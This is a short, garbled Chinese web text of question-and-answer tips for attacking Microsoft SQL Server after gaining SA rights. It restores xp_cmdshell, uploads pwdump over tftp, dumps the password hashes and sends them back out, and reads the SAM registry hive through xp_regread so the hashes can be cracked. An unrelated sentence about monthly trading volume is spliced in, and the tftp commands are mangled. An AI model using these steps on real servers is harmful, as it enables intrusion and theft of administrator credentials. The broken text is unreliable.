必读从转到数据库安全覆盖

与今年月度成交额最低的5月份35.5亿元比较 下面是一些关于数据库的问答和技巧： 1、获得SA权限后，却不能执行xp_cmdshell存储过程怎么办？ 答：可能是已经把xp_cmdshell等扩展存储过程删除了，可以用这个存储过程把xp_cmdshell恢复。 sp_addextendedproc \'xp_cmdshell\', \'l\' 2、怎样通过数据库用pwdump获得系统管理员密码？ 先上传一个pwdump tftp -i GET e e tftp -i GET l l tftp -i GET e e pwdump3 127.0.0.1 t tftp PUT t t 然后再用解密工具l0pht等等破解这些密码。 3、如何从数据库读取系统管理员密码？ 能读出加密的密码是NT的\"administrator\"帐号也不能做的，SQL Server能读出来是使用的“LocalSystem”帐号，这个帐号比administrator更高一级。可以使用下面这个存储过程。不过读出来的密码是经过加密后的，然后再解密吧。 xp_regread \'HKEY_LOCAL_MACHINE\',\'SECURITY\\SAM\\Domains\\Account\',\'F\' 当然，数据库服务器的安全和缺陷还有很多，还需要更多的研究。